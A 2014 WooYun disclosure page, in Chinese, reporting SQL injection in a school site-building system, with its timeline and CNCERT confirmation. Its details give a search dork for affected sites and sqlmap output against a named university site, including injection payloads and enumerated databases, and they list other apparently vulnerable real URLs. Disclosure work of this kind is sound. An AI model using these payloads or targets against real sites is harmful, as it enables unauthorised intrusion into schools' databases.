当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075684

漏洞标题:某多所大学在用系统一处sql注入漏洞

相关厂商:某学校建站系统

漏洞作者: Mosuan

提交时间:2014-09-10 16:51

修复时间:2014-12-09 16:52

公开时间:2014-12-09 16:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-10: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-18: 细节向第三方安全合作伙伴开放
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-09: 细节向公众公开

简要描述:

rt

详细说明:

貌似是一个西安的建站公司。
关键词

inurl:/Docs/Commentlist.aspx?ItemID=


举几个例子

注入地址:http://ndxbskb.imu.edu.cn/mwb/Docs/Commentlist.aspx?ItemID=22
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 16:20:44
[16:20:45] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\ndxbskb.imu.edu.cn\session' as session file
[16:20:45] [INFO] testing connection to the target url
[16:20:45] [INFO] testing if the url is stable, wait a few seconds
[16:20:47] [INFO] url is stable
[16:20:47] [INFO] testing if GET parameter 'ItemID' is dynamic
[16:20:47] [WARNING] GET parameter 'ItemID' appears to be not dynamic
[16:20:48] [INFO] heuristic test shows that GET parameter 'ItemID' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[16:20:48] [INFO] testing sql injection on GET parameter 'ItemID'
[16:20:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[16:21:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[16:21:22] [INFO] GET parameter 'ItemID' is 'Microsoft SQL Server/Sybase AND err
or-based - WHERE or HAVING clause' injectable
[16:21:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[16:21:28] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[16:21:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:21:34] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[16:21:56] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[16:21:56] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[16:22:01] [INFO] target url appears to have 19 columns in query
[16:22:03] [INFO] GET parameter 'ItemID' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'ItemID' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 22 HTTP(s) requ
ests:
---
Place: GET
Parameter: ItemID
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ItemID=22 AND 5909=CONVERT(INT,(CHAR(58)+CHAR(97)+CHAR(102)+CHAR(11
5)+CHAR(58)+(SELECT (CASE WHEN (5909=5909) THEN CHAR(49) ELSE CHAR(48) END))+CHA
R(58)+CHAR(121)+CHAR(116)+CHAR(119)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 19 columns
Payload: ItemID=22 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL
, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CHAR(58)+CHA
R(97)+CHAR(102)+CHAR(115)+CHAR(58)+CHAR(116)+CHAR(121)+CHAR(84)+CHAR(118)+CHAR(8
3)+CHAR(67)+CHAR(71)+CHAR(84)+CHAR(81)+CHAR(75)+CHAR(58)+CHAR(121)+CHAR(116)+CHA
R(119)+CHAR(58)--
---
[16:23:18] [INFO] testing Microsoft SQL Server
[16:23:19] [INFO] confirming Microsoft SQL Server
[16:23:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[16:23:20] [INFO] fetching database names
[16:23:21] [INFO] the SQL query used returns 8 entries
[16:23:21] [INFO] retrieved: "master"
[16:23:21] [INFO] retrieved: "model"
[16:23:22] [INFO] retrieved: "msdb"
[16:23:22] [INFO] retrieved: "nmgskb"
[16:23:23] [INFO] retrieved: "nmgzkb"
[16:23:23] [INFO] retrieved: "ReportServer$SQLEXPRESS"
[16:23:24] [INFO] retrieved: "ReportServer$SQLEXPRESSTempDB"
[16:23:24] [INFO] retrieved: "tempdb"
available databases [8]:
[*] master
[*] model
[*] msdb
[*] nmgskb
[*] nmgzkb
[*] ReportServer$SQLEXPRESS
[*] ReportServer$SQLEXPRESSTempDB
[*] tempdb
[16:23:24] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 26 times
[16:23:24] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\ndxbskb.imu.edu.cn'
[*] shutting down at 16:23:24


网速太卡了1!

http://www.zhsyeklczz.com/Docs/Commentlist.aspx?ItemID=137
http://gszyxyxb.gszy.edu.cn/Docs/Commentlist.aspx?ItemID=84
http://www.swdzgcdz.com/Docs/Commentlist.aspx?ItemID=194
http://www.cqnuj.cn/Docs/Commentlist.aspx?ItemID=28
http://njsfdxskb.paperonce.org/Docs/Commentlist.aspx?ItemID=106
http://ndxbskb.imu.edu.cn/mwb/Docs/Commentlist.aspx?ItemID=22

漏洞证明:

public

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-09-15 10:43

厂商回复:

CNVD确认所述情况,后续转报给教育网应急组织处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-20 14:02 | Lonely ( 实习白帽子 | Rank:72 漏洞数:27 | 人生如梦,始终都游不过当局者迷的悲哀。)

    是不是拿到最佳洞主了...